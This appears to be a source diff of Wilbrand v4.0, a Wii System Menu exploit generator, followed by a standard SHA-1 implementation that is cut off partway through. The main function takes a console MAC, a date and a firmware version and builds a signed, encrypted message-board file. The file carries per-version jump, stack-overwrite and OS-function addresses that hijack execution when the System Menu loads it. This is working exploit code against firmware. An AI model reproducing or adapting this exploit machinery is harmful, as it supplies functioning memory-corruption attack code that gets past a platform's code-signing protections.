||||||
|
u32 VFSysReadFile = 0;
|
||||||
|
u32 __OSUnRegisterStateEvent = 0;
|
||||||
|
u32 VISetBlack = 0;
|
||||||
|
u32 VIFlush = 0;
|
||||||
|
u32 VFiPFVOL_GetVolumeFromDrvChar = 0;
|
||||||
|
u32 VFiPFVOL_SetCurrentVolume = 0;
|
||||||
|
|
||||||
|
Buffer wiiID;
|
||||||
|
Buffer mac;
|
||||||
|
|
||||||
|
u32 wiiID_upper = 0;
|
||||||
|
u32 wiiID_lower = 0;
|
||||||
|
u32 cdbTime = 0;
|
||||||
|
char buf[ 0x100 ];
|
||||||
|
|
||||||
|
string id ( "PUNE_69" );
|
||||||
|
string type ( "log" );
|
||||||
|
string ext ( "000" );
|
||||||
|
|
||||||
|
cout << "Wilbrand v4.0" << endl;
|
||||||
|
cout << " by Giantpune" << endl;
|
||||||
|
cout << " built: " << __DATE__ << " -- " << __TIME__ << endl;
|
||||||
|
cout << endl;
|
||||||
|
|
||||||
|
// check for valid MAC
|
||||||
|
string macStr( argv[ 1 ] );
|
||||||
|
macStr.erase( std::remove( macStr.begin(), macStr.end(), ' ' ), macStr.end() );
|
||||||
|
macStr.erase( std::remove( macStr.begin(), macStr.end(), ':' ), macStr.end() );
|
||||||
|
macStr.erase( std::remove( macStr.begin(), macStr.end(), '-' ), macStr.end() );
|
||||||
|
if( macStr.size() != 12 )
|
||||||
|
{
|
||||||
|
cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl;
|
||||||
|
Usage( E_MacLength );
|
||||||
|
}
|
||||||
|
mac = Buffer::FromHex( macStr );
|
||||||
|
if( mac.Size() != 6 )
|
||||||
|
{
|
||||||
|
cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl;
|
||||||
|
Usage( E_MacLength );
|
||||||
|
}
|
||||||
|
|
||||||
|
// parse date
|
||||||
|
string dateArg( argv[ 2 ] );
|
||||||
|
if( dateArg.find( '/' ) != string::npos )// parse mm/dd/yyyy
|
||||||
|
{
|
||||||
|
cdbTime = ParseDateString( argv[ 2 ] );
|
||||||
|
if( !cdbTime )
|
||||||
|
{
|
||||||
|
cout << "Error parsing date " << argv[ 2 ] << '\n' << endl;
|
||||||
|
Usage( E_BadDate );
|
||||||
|
}
|
||||||
|
cdbTime -= SECONDS_TO_2000;
|
||||||
|
}
|
||||||
|
else if( sscanf( argv[ 2 ], "%08x", &cdbTime ) != 1 || cdbTime > 0x43B5CA3B - 80 )
|
||||||
|
{
|
||||||
|
cout << "Error parsing date " << argv[ 2 ] << '\n' << endl;
|
||||||
|
Usage( E_BadDate );
|
||||||
|
}
|
||||||
|
|
||||||
|
// get system menu version and set some variables
|
||||||
|
string sysmenuVer( argv[ 3 ] );
|
||||||
|
std::transform( sysmenuVer.begin(), sysmenuVer.end(), sysmenuVer.begin(), ::toupper );
|
||||||
|
sysmenuVer.erase( std::remove( sysmenuVer.begin(), sysmenuVer.end(), '.' ), sysmenuVer.end() );
|
||||||
|
|
||||||
|
#define CASE_SYSMENU_VARS( val, x, y, z, f0, f1, f2, f3, f4, f5, f6, f7, f8, f9, f10 ) \
|
||||||
|
case val: \
|
||||||
|
{ \
|
||||||
|
jumpAddr = x; /* address of first "user" code to be executed*/ \
|
||||||
|
overwriteAddr = y; /* stack pointer at the moment when a specific variable is read from the stack */ \
|
||||||
|
jumpTableAddr = z; /* where will our "jump table" be in memory */ \
|
||||||
|
fileStructVersion = f0; /* these are some values to help the tiny loader */ \
|
||||||
|
OSReturnToMenu = f1; \
|
||||||
|
__OSStopAudioSystem = f2; \
|
||||||
|
__GXAbort = f3; \
|
||||||
|
VFSysOpenFile_current = f4; \
|
||||||
|
VFSysReadFile = f5; \
|
||||||
|
__OSUnRegisterStateEvent = f6; \
|
||||||
|
VISetBlack = f7; \
|
||||||
|
VIFlush = f8; \
|
||||||
|
VFiPFVOL_GetVolumeFromDrvChar = f9; \
|
||||||
|
VFiPFVOL_SetCurrentVolume = f10; \
|
||||||
|
} \
|
||||||
|
break
|
||||||
|
|
||||||
|
|
||||||
|
switch( HashStr( sysmenuVer ) )
|
||||||
|
{
|
||||||
|
CASE_SYSMENU_VARS( 0x33495415, 0x9234d22c, 0x816a73b8, 0x92349D10, //43U *
|
||||||
|
0x00000260, 0x813808a0, 0x8152d828, 0x8154409c,
|
||||||
|
0x814d3428, 0x814d3704, 0x81536b94, 0x8153e128,
|
||||||
|
0x8153dfa0, 0x814cdfe8, 0x814cdd48 );
|
||||||
|
CASE_SYSMENU_VARS( 0x2a526554, 0x9234d22c, 0x816a57d8, 0x92349D10, //42U *
|
||||||
|
0x00000260, 0x81380190, 0x8152c20c, 0x81542a80,
|
||||||
|
0x814d2c50, 0x814d2f2c, 0x81535578, 0x8153cb0c,
|
||||||
|
0x8153c984, 0x814cd810, 0x814cd570 );
|
||||||
|
CASE_SYSMENU_VARS( 0x017f3697, 0x9234d22c, 0x816a4858, 0x92349D10, //41U *
|
||||||
|
0x00000260, 0x8137fa14, 0x8152b944, 0x815421b8,
|
||||||
|
0x814d2388, 0x814d2664, 0x81534cb0, 0x8153c244,
|
||||||
|
0x8153c0bc, 0x814ccf48, 0x814ccca8 );
|
||||||
|
CASE_SYSMENU_VARS( 0x186407d6, 0x9234d22c, 0x816a46b8, 0x92349D10, //40U *
|
||||||
|
0x00000260, 0x8137f918, 0x8152b81c, 0x81542090,
|
||||||
|
0x814d2288, 0x814d2564, 0x81534b88, 0x8153c11c,
|
||||||
|
0x8153bf94, 0x814cce48, 0x814ccba8 );
|
||||||
|
CASE_SYSMENU_VARS( 0x7947d457, 0x92327a2c, 0x81681d08, 0x92324510, //34U *
|
||||||
|
0x00000264, 0x8137ad10, 0x8150dfb8, 0x8152482c,
|
||||||
|
0x814b4150, 0x814b4568, 0x81517324, 0x8151e8b8,
|
||||||
|
0x8151e730, 0x814af794, 0x814af4f4 );
|
||||||
|
CASE_SYSMENU_VARS( 0x36064290, 0x92327a2c, 0x81674ae8, 0x92324510, //33U *
|
||||||
|
0x00000264, 0x8137a274, 0x81505a00, 0x8151c274,
|
||||||
|
0x814878f8, 0x81487d10, 0x8150ed6c, 0x81516300,
|
||||||
|
0x81516178, 0x81482f3c, 0x81482c9c );
|
||||||
|
CASE_SYSMENU_VARS( 0x2f1d73d1, 0x92327a2c, 0x81673c88, 0x92324510, //32U *
|
||||||
|
0x00000264, 0x81379d08, 0x81505168, 0x8151b9dc,
|
||||||
|
0x81487384, 0x8148779c, 0x8150e4d4, 0x81515a68,
|
||||||
|
0x815158e0, 0x814829c8, 0x81482728 );
|
||||||
|
CASE_SYSMENU_VARS( 0x04302012, 0x92327a24, 0x81673508, 0x92324508, //31U *
|
||||||
|
0x00000264, 0x81379c34, 0x81504a74, 0x8151b2e8,
|
||||||
|
0x81486ca4, 0x814870bc, 0x8150dde0, 0x81515374,
|
||||||
|
0x815151ec, 0x814822e8, 0x81482048 );
|
||||||
|
CASE_SYSMENU_VARS( 0x1d2b1153, 0x92327a24, 0x81673a68, 0x92324508, //30U *
|
||||||
|
0x00000264, 0x81379bd4, 0x81504ffc, 0x8151b870,
|
||||||
|
0x81486c4c, 0x81487064, 0x8150e368, 0x815158fc,
|
||||||
|
0x81515774, 0x81482290, 0x81481ff0 );
|
||||||
|
|
||||||
|
CASE_SYSMENU_VARS( 0x2efe4471, 0x9234d22c, 0x816a9258, 0x92349D10, //43E *
|
||||||
|
0x00000260, 0x81380948, 0x8152d924, 0x81544198,
|
||||||
|
0x814d3524, 0x814d3800, 0x81536c90, 0x8153e224,
|
||||||
|
0x8153e09c, 0x814ce0e4, 0x814cde44 );
|
||||||
|
CASE_SYSMENU_VARS( 0x37e57530, 0x9234d22c, 0x816a7678, 0x92349D10, //42E *
|
||||||
|
0x00000260, 0x81380238, 0x8152c308, 0x81542b7c,
|
||||||
|
0x814d2d4c, 0x814d3028, 0x81535674, 0x8153cc08,
|
||||||
|
0x8153ca80, 0x814cd90c, 0x814cd66c );
|
||||||
|
CASE_SYSMENU_VARS( 0x1cc826f3, 0x9234d22c, 0x816a66f8, 0x92349D10, //41E *
|
||||||
|
0x00000260, 0x8137fabc, 0x8152ba40, 0x815422b4,
|
||||||
|
0x814d2484, 0x814d2760, 0x81534dac, 0x8153c340,
|
||||||
|
0x8153c1b8, 0x814cd044, 0x814ccda4 );
|
||||||
|
CASE_SYSMENU_VARS( 0x05d317b2, 0x9234d22c, 0x816a6578, 0x92349D10, //40E *
|
||||||
|
0x00000260, 0x8137f9c0, 0x8152b918, 0x8154218c,
|
||||||
|
0x814d2384, 0x814d2660, 0x81534c84, 0x8153c218,
|
||||||
|
0x8153c090, 0x814ccf44, 0x814ccca4 );
|
||||||
|
CASE_SYSMENU_VARS( 0x64f0c433, 0x92327a2c, 0x81683b88, 0x92324510, //34E *
|
||||||
|
0x00000264, 0x8137adb8, 0x8150e0b4, 0x81524928,
|
||||||
|
0x814b424c, 0x814b4664, 0x81517420, 0x8151e9b4,
|
||||||
|
0x8151e82c, 0x814af890, 0x814af5f0 );
|
||||||
|
CASE_SYSMENU_VARS( 0x2bb152f4, 0x92327a2c, 0x81676968, 0x92324510, //33E *
|
||||||
|
0x00000264, 0x8137a31c, 0x81505afc, 0x8151c370,
|
||||||
|
0x814879f4, 0x81487e0c, 0x8150ee68, 0x815163fc,
|
||||||
|
0x81516274, 0x81483038, 0x81482d98 );
|
||||||
|
CASE_SYSMENU_VARS( 0x32aa63b5, 0x92327a2c, 0x81675b28, 0x92324510, //32E *
|
||||||
|
0x00000264, 0x81379db0, 0x81505264, 0x8151bad8,
|
||||||
|
0x81487480, 0x81487898, 0x8150e5d0, 0x81515b64,
|
||||||
|
0x815159dc, 0x81482ac4, 0x81482824 );
|
||||||
|
CASE_SYSMENU_VARS( 0x19873076, 0x92327a24, 0x81675368, 0x92324508, //31E *
|
||||||
|
0x00000264, 0x81379cdc, 0x81504b70, 0x8151b3e4,
|
||||||
|
0x81486da0, 0x814871b8, 0x8150dedc, 0x81515470,
|
||||||
|
0x815152e8, 0x814823e4, 0x81482144 );
|
||||||
|
CASE_SYSMENU_VARS( 0x009c0137, 0x92327a24, 0x816758c8, 0x92324508, //30E *
|
||||||
|
0x00000264, 0x81379c7c, 0x815050f8, 0x8151b96c,
|
||||||
|
0x81486d48, 0x81487160, 0x8150e464, 0x815159f8,
|
||||||
|
0x81515870, 0x8148238c, 0x814820ec );
|
||||||
|
|
||||||
|
CASE_SYSMENU_VARS( 0xbe4159e0, 0x9234d22c, 0x816d6ab8, 0x92349D10, //43J *
|
||||||
|
0x00000260, 0x8137fd54, 0x81556768, 0x8156cfdc,
|
||||||
|
0x814fc368, 0x814fc644, 0x8155fad4, 0x81567068,
|
||||||
|
0x81566ee0, 0x814f6f28, 0x814f6c88 );
|
||||||
|
CASE_SYSMENU_VARS( 0xa75a68a1, 0x9234d22c, 0x816d4ed8, 0x92349D10, //42J *
|
||||||
|
0x00000260, 0x8137f644, 0x8155514c, 0x8156b9c0,
|
||||||
|
0x814fbb90, 0x814fbe6c, 0x8155e4b8, 0x81565a4c,
|
||||||
|
0x815658c4, 0x814f6750, 0x814f64b0 );
|
||||||
|
CASE_SYSMENU_VARS( 0x8c773b62, 0x9234d22c, 0x816d3f38, 0x92349D10, //41J *
|
||||||
|
0x00000260, 0x8137eec8, 0x81554880, 0x8156b0f4,
|
||||||
|
0x814fb2c4, 0x814fb5a0, 0x8155dbec, 0x81565180,
|
||||||
|
0x81564ff8, 0x814f5e84, 0x814f5be4 );
|
||||||
|
CASE_SYSMENU_VARS( 0x956c0a23, 0x9234d22c, 0x816d3dd8, 0x92349D10, //40J *
|
||||||
|
0x00000260, 0x8137edcc, 0x81554758, 0x8156afcc,
|
||||||
|
0x814fb1c4, 0x814fb4a0, 0x8155dac4, 0x81565058,
|
||||||
|
0x81564ed0, 0x814f5d84, 0x814f5ae4 );
|
||||||
|
CASE_SYSMENU_VARS( 0xf44fd9a2, 0x92327a2c, 0x816b1428, 0x92324510, //34J *
|
||||||
|
0x00000264, 0x8137a1c4, 0x81536ef4, 0x8154d768,
|
||||||
|
0x814dd08c, 0x814dd4a4, 0x81540260, 0x815477f4,
|
||||||
|
0x8154766c, 0x814d86d0, 0x814d8430 );
|
||||||
|
CASE_SYSMENU_VARS( 0xbb0e4f65, 0x92327a2c, 0x816a8488, 0x92324510, //33J *
|
||||||
|
0x00000264, 0x813798a8, 0x81532a3c, 0x815492b0,
|
||||||
|
0x81489450, 0x81489868, 0x8153bda8, 0x8154333c,
|
||||||
|
0x815431b4, 0x81484a94, 0x814847f4 );
|
||||||
|
CASE_SYSMENU_VARS( 0xa2157e24, 0x92327a2c, 0x816a7628, 0x92324510, //32J *
|
||||||
|
0x00000264, 0x8137931c, 0x81532184, 0x815489f8,
|
||||||
|
0x81488ebc, 0x814892d4, 0x8153b4f0, 0x81542a84,
|
||||||
|
0x815428fc, 0x81484500, 0x81484260 );
|
||||||
|
CASE_SYSMENU_VARS( 0x89382de7, 0x92327a24, 0x816a6e48, 0x92324508, //31J *
|
||||||
|
0x00000264, 0x81379248, 0x81531a90, 0x81548304,
|
||||||
|
0x814887dc, 0x81488bf4, 0x8153adfc, 0x81542390,
|
||||||
|
0x81542208, 0x81483e20, 0x81483b80 );
|
||||||
|
CASE_SYSMENU_VARS( 0x90231ca6, 0x92327a24, 0x816a73e8, 0x92324508, //30J *
|
||||||
|
0x00000264, 0x813791e8, 0x81532018, 0x8154888c,
|
||||||
|
0x81488784, 0x81488b9c, 0x8153b384, 0x81542918,
|
||||||
|
0x81542790, 0x81483dc8, 0x81483b28 );
|
||||||
|
|
||||||
|
CASE_SYSMENU_VARS( 0xc9466976, 0x9234d22c, 0x8167b9d8, 0x92349D10, //43K *
|
||||||
|
0x00000260, 0x8137fc34, 0x815065e0, 0x8151ce54,
|
||||||
|
0x814ac1e0, 0x814ac4bc, 0x8150f94c, 0x81516ee0,
|
||||||
|
0x81516d58, 0x814a6da0, 0x814a6b00 );
|
||||||
|
CASE_SYSMENU_VARS( 0xd05d5837, 0x9234d22c, 0x81679dd8, 0x92349D10, //42K *
|
||||||
|
0x00000260, 0x8137f524, 0x81504fc4, 0x8151b838,
|
||||||
|
0x814aba08, 0x814abce4, 0x8150e330, 0x815158c4,
|
||||||
|
0x8151573c, 0x814a65c8, 0x814a6328 );
|
||||||
|
CASE_SYSMENU_VARS( 0xfb700bf4, 0x9234d22c, 0x81678f18, 0x92349D10, //41K *
|
||||||
|
0x00000260, 0x8137edf0, 0x81504744, 0x8151afb8,
|
||||||
|
0x814ab188, 0x814ab464, 0x8150dab0, 0x81515044,
|
||||||
|
0x81514ebc, 0x814a5d48, 0x814a5aa8 );
|
||||||
|
CASE_SYSMENU_VARS( 0x9a53d875, 0x92327a2c, 0x81654868, 0x92324510, //35K *
|
||||||
|
0x00000264, 0x81379990, 0x814e6300, 0x814fcb74,
|
||||||
|
0x8148c5bc, 0x8148c9d4, 0x814ef66c, 0x814f6c00,
|
||||||
|
0x814f6a78, 0x81487c00, 0x81487960 );
|
||||||
|
|
||||||
|
// TODO:
|
||||||
|
//CASE_SYSMENU_VARS( 0xcc097ff3, 0x92327a2c, 0x81654828, 0x92324510 ); //33K
|
||||||
|
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
cout << "Error parsing system menu version:" << argv[ 3 ] << endl;
|
||||||
|
Usage( E_SystemMenuVersion );
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolve absolute path for SD card and make sure it exists
|
||||||
|
string outPath( ResolvePath( argv[ 4 ] ) );
|
||||||
|
if( !outPath.size() || !DirExists( outPath ) )
|
||||||
|
{
|
||||||
|
cout << "SD root doesn\'t exist: \"" << argv[ 4 ] << '\"' << endl;
|
||||||
|
Usage( E_SDRoot );
|
||||||
|
}
|
||||||
|
|
||||||
|
// make sure it ends with a '/'
|
||||||
|
if( outPath.at( outPath.size() - 1 ) != SEPC )
|
||||||
|
{
|
||||||
|
outPath += SEPC;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1337math
|
||||||
|
//! convert r1 to pointer for over-writation (tm)
|
||||||
|
overwriteAddr = ( ( overwriteAddr + 0x14 ) - 0x8 );
|
||||||
|
|
||||||
|
// create WiiID
|
||||||
|
GetWiiID( mac, wiiID );
|
||||||
|
wiiID_upper = htonl( *(u32*)( wiiID.Data() ) );
|
||||||
|
wiiID_lower = htonl( *(u32*)( wiiID.Data() + 4 ) );
|
||||||
|
|
||||||
|
// create a buffer big enough to hold the largest possible cdb file + attribute header
|
||||||
|
// and fills it wil 0x00. 200KiB + 0x400 for attribute header
|
||||||
|
//! anything larger and the system menu refuses to load it
|
||||||
|
Buffer out( 0x32400, '\0' );
|
||||||
|
assert( out.Size() == 0x32400 );
|
||||||
|
|
||||||
|
AddCDBAttrHeader( out, wiiID_upper, wiiID_lower, cdbTime );
|
||||||
|
AddStuff( out, jumpAddr, overwriteAddr, jumpTableAddr, fileStructVersion,
|
||||||
|
OSReturnToMenu, __OSStopAudioSystem, __GXAbort, VFSysOpenFile_current,
|
||||||
|
VFSysReadFile, __OSUnRegisterStateEvent, VISetBlack, VIFlush,
|
||||||
|
VFiPFVOL_GetVolumeFromDrvChar, VFiPFVOL_SetCurrentVolume );
|
||||||
|
EncryptAndSign( out, wiiID, id, type, ext );
|
||||||
|
|
||||||
|
// generate output directory
|
||||||
|
time_t cdbT = cdbTime + SECONDS_TO_2000;
|
||||||
|
string datePath = PathFromDateTime( gmtime( &cdbT ) );
|
||||||
|
snprintf( buf, sizeof( buf ), "private"SEP"wii"SEP"title"SEP"HAEA"SEP"%08x"SEP"%08x%s"SEP"%s"SEP"%s"SEP
|
||||||
|
, wiiID_upper, wiiID_lower, datePath.c_str()
|
||||||
|
, id.c_str(), type.c_str() );
|
||||||
|
|
||||||
|
// write some important looking text on the screen
|
||||||
|
//! it seems like more important shit is happening when you see text on the screen
|
||||||
|
cout << "-----------------------------------------------------------" << endl;
|
||||||
|
COUT_STR( sysmenuVer );
|
||||||
|
COUT_BUF( mac, 6, u8 );
|
||||||
|
COUT_BUF( wiiID, wiiID.Size(), u32 );
|
||||||
|
COUT_U32( wiiID_upper );
|
||||||
|
COUT_U32( wiiID_lower );
|
||||||
|
COUT_U32( cdbTime );
|
||||||
|
COUT_U32( jumpAddr );
|
||||||
|
COUT_U32( overwriteAddr );
|
||||||
|
COUT_U32( jumpTableAddr );
|
||||||
|
COUT_STR( outPath );
|
||||||
|
COUT_STR( datePath );
|
||||||
|
|
||||||
|
COUT_U32( fileStructVersion );
|
||||||
|
COUT_U32( __GXAbort );
|
||||||
|
COUT_U32( OSReturnToMenu );
|
||||||
|
COUT_U32( __OSStopAudioSystem );
|
||||||
|
COUT_U32( __OSUnRegisterStateEvent );
|
||||||
|
COUT_U32( VIFlush );
|
||||||
|
COUT_U32( VISetBlack );
|
||||||
|
COUT_U32( VFiPFVOL_GetVolumeFromDrvChar );
|
||||||
|
COUT_U32( VFiPFVOL_SetCurrentVolume );
|
||||||
|
COUT_U32( VFSysOpenFile_current );
|
||||||
|
COUT_U32( VFSysReadFile );
|
||||||
|
cout << "-----------------------------------------------------------" << endl;
|
||||||
|
|
||||||
|
outPath += buf;
|
||||||
|
|
||||||
|
// meh, we're probably writing to a FAT formatted SD card anyways, 0777 will be fine
|
||||||
|
if( MkPath( outPath.c_str(), 0777 ) )
|
||||||
|
{
|
||||||
|
cout << "Error creating folder structure:\n\"" << outPath << "\"" << endl;
|
||||||
|
exit( E_CantWriteFile );
|
||||||
|
}
|
||||||
|
|
||||||
|
snprintf( buf, sizeof( buf ), "%08x.%s", cdbTime, ext.c_str() );
|
||||||
|
outPath += buf;
|
||||||
|
|
||||||
|
if( !WriteFile( outPath, out ) )
|
||||||
|
{
|
||||||
|
exit( E_CantWriteFile );
|
||||||
|
}
|
||||||
|
|
||||||
|
cout << "Wrote to:\n\"" << outPath << "\"" << endl;
|
||||||
|
exit( E_Success );
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
371
source/sha1.cpp
Normal file
371
source/sha1.cpp
Normal file
@ -0,0 +1,371 @@
|
|||||||
|
/*
|
||||||
|
* sha1.c
|
||||||
|
*
|
||||||
|
* Copyright (C) 1998, 2009
|
||||||
|
* Paul E. Jones <paulej@packetizer.com>
|
||||||
|
* All Rights Reserved
|
||||||
|
*
|
||||||
|
*****************************************************************************
|
||||||
|
* $Id: sha1.c 12 2009-06-22 19:34:25Z paulej $
|
||||||
|
*****************************************************************************
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* This file implements the Secure Hashing Standard as defined
|
||||||
|
* in FIPS PUB 180-1 published April 17, 1995.
|
||||||
|
*
|
||||||
|
* The Secure Hashing Standard, which uses the Secure Hashing
|
||||||
|
* Algorithm (SHA), produces a 160-bit message digest for a
|
||||||
|
* given data stream. In theory, it is highly improbable that
|
||||||
|
* two messages will produce the same message digest. Therefore,
|
||||||
|
* this algorithm can serve as a means of providing a "fingerprint"
|
||||||
|
* for a message.
|
||||||
|
*
|
||||||
|
* Portability Issues:
|
||||||
|
* SHA-1 is defined in terms of 32-bit "words". This code was
|
||||||
|
* written with the expectation that the processor has at least
|
||||||
|
* a 32-bit machine word size. If the machine word size is larger,
|
||||||
|
* the code should still function properly. One caveat to that
|
||||||
|
* is that the input functions taking characters and character
|
||||||
|
* arrays assume that only 8 bits of information are stored in each
|
||||||
|
* character.
|
||||||
|
*
|
||||||
|
* Caveats:
|
||||||
|
* SHA-1 is designed to work with messages less than 2^64 bits
|
||||||
|
* long. Although SHA-1 allows a message digest to be generated for
|
||||||
|
* messages of any number of bits less than 2^64, this
|
||||||
|
* implementation only works with messages with a length that is a
|
||||||
|
* multiple of the size of an 8-bit character.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "sha1.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Define the circular shift macro
|
||||||
|
*/
|
||||||
|
#define SHA1CircularShift(bits,word) \
|
||||||
|
((((word) << (bits)) & 0xFFFFFFFF) | \
|
||||||
|
((word) >> (32-(bits))))
|
||||||
|
|
||||||
|
/* Function prototypes */
|
||||||
|
void SHA1ProcessMessageBlock(SHA1Context *);
|
||||||
|
void SHA1PadMessage(SHA1Context *);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA1Reset
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* This function will initialize the SHA1Context in preparation
|
||||||
|
* for computing a new message digest.
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* context: [in/out]
|
||||||
|
* The context to reset.
|
||||||
|
*
|
||||||
|
* Returns:
|
||||||
|
* Nothing.
|
||||||
|
*
|
||||||
|
* Comments:
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
void SHA1Reset(SHA1Context *context)
|
||||||
|
{
|
||||||
|
context->Length_Low = 0;
|
||||||
|
context->Length_High = 0;
|
||||||
|
context->Message_Block_Index = 0;
|
||||||
|
|
||||||
|
context->Message_Digest[0] = 0x67452301;
|
||||||
|
context->Message_Digest[1] = 0xEFCDAB89;
|
||||||
|
context->Message_Digest[2] = 0x98BADCFE;
|
||||||
|
context->Message_Digest[3] = 0x10325476;
|
||||||
|
context->Message_Digest[4] = 0xC3D2E1F0;
|
||||||
|
|
||||||
|
context->Computed = 0;
|
||||||
|
context->Corrupted = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA1Result
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* This function will return the 160-bit message digest into the
|
||||||
|
* Message_Digest array within the SHA1Context provided
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* context: [in/out]
|
||||||
|
* The context to use to calculate the SHA-1 hash.
|
||||||
|
*
|
||||||
|
* Returns:
|
||||||
|
* 1 if successful, 0 if it failed.
|
||||||
|
*
|
||||||
|
* Comments:
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
int SHA1Result(SHA1Context *context)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (context->Corrupted)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!context->Computed)
|
||||||
|
{
|
||||||
|
SHA1PadMessage(context);
|
||||||
|
context->Computed = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA1Input
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* This function accepts an array of octets as the next portion of
|
||||||
|
* the message.
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* context: [in/out]
|
||||||
|
* The SHA-1 context to update
|
||||||
|
* message_array: [in]
|
||||||
|
* An array of characters representing the next portion of the
|
||||||
|
* message.
|
||||||
|
* length: [in]
|
||||||
|
* The length of the message in message_array
|
||||||
|
*
|
||||||
|
* Returns:
|
||||||
|
* Nothing.
|
||||||
|
*
|
||||||
|
* Comments:
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
void SHA1Input( SHA1Context *context,
|
||||||
|
const unsigned char *message_array,
|
||||||
|
unsigned length)
|
||||||
|
{
|
||||||
|
if (!length)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context->Computed || context->Corrupted)
|
||||||
|
{
|
||||||
|
context->Corrupted = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
while(length-- && !context->Corrupted)
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] =
|
||||||
|
(*message_array & 0xFF);
|
||||||
|
|
||||||
|
context->Length_Low += 8;
|
||||||
|
/* Force it to 32 bits */
|
||||||
|
context->Length_Low &= 0xFFFFFFFF;
|
||||||
|
if (context->Length_Low == 0)
|
||||||
|
{
|
||||||
|
context->Length_High++;
|
||||||
|
/* Force it to 32 bits */
|
||||||
|
context->Length_High &= 0xFFFFFFFF;
|
||||||
|
if (context->Length_High == 0)
|
||||||
|
{
|
||||||
|
/* Message is too long */
|
||||||
|
context->Corrupted = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (context->Message_Block_Index == 64)
|
||||||
|
{
|
||||||
|
SHA1ProcessMessageBlock(context);
|
||||||
|
}
|
||||||
|
|
||||||
|
message_array++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA1ProcessMessageBlock
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* This function will process the next 512 bits of the message
|
||||||
|
* stored in the Message_Block array.
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* None.
|
||||||
|
*
|
||||||
|
* Returns:
|
||||||
|
* Nothing.
|
||||||
|
*
|
||||||
|
* Comments:
|
||||||
|
* Many of the variable names in the SHAContext, especially the
|
||||||
|
* single character names, were used because those were the names
|
||||||
|
* used in the publication.
|
||||||
|
*
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
void SHA1ProcessMessageBlock(SHA1Context *context)
|
||||||
|
{
|
||||||
|
const unsigned K[] = /* Constants defined in SHA-1 */
|
||||||
|
{
|
||||||
|
0x5A827999,
|
||||||
|
0x6ED9EBA1,
|
||||||
|
0x8F1BBCDC,
|
||||||
|
0xCA62C1D6
|
||||||
|
};
|
||||||
|
int t; /* Loop counter */
|
||||||
|
unsigned temp; /* Temporary word value */
|
||||||
|
unsigned W[80]; /* Word sequence */
|
||||||
|
unsigned A, B, C, D, E; /* Word buffers */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Initialize the first 16 words in the array W
|
||||||
|
*/
|
||||||
|
for(t = 0; t < 16; t++)
|
||||||
|
{
|
||||||
|
W[t] = ((unsigned) context->Message_Block[t * 4]) << 24;
|
||||||
|
W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16;
|
||||||
|
W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8;
|
||||||
|
W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
for(t = 16; t < 80; t++)
|
||||||
|
{
|
||||||
|
W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]);
|
||||||
|
}
|
||||||
|
|
||||||
|
A = context->Message_Digest[0];
|
||||||
|
B = context->Message_Digest[1];
|
||||||
|
C = context->Message_Digest[2];
|
||||||
|
D = context->Message_Digest[3];
|
||||||
|
E = context->Message_Digest[4];
|
||||||
|
|
||||||
|
for(t = 0; t < 20; t++)
|
||||||
|
{
|
||||||
|
temp = SHA1CircularShift(5,A) +
|
||||||
|
((B & C) | ((~B) & D)) + E + W[t] + K[0];
|
||||||
|
temp &= 0xFFFFFFFF;
|
||||||
|
E = D;
|
||||||
|
D = C;
|
||||||
|
C = SHA1CircularShift(30,B);
|
||||||
|
B = A;
|
||||||
|
A = temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(t = 20; t < 40; t++)
|
||||||
|
{
|
||||||
|
temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1];
|
||||||
|
temp &= 0xFFFFFFFF;
|
||||||
|
E = D;
|
||||||
|
D = C;
|
||||||
|
C = SHA1CircularShift(30,B);
|
||||||
|
B = A;
|
||||||
|
A = temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(t = 40; t < 60; t++)
|
||||||
|
{
|
||||||
|
temp = SHA1CircularShift(5,A) +
|
||||||
|
((B & C) | (B & D) | (C & D)) + E + W[t] + K[2];
|
||||||
|
temp &= 0xFFFFFFFF;
|
||||||
|
E = D;
|
||||||
|
D = C;
|
||||||
|
C = SHA1CircularShift(30,B);
|
||||||
|
B = A;
|
||||||
|
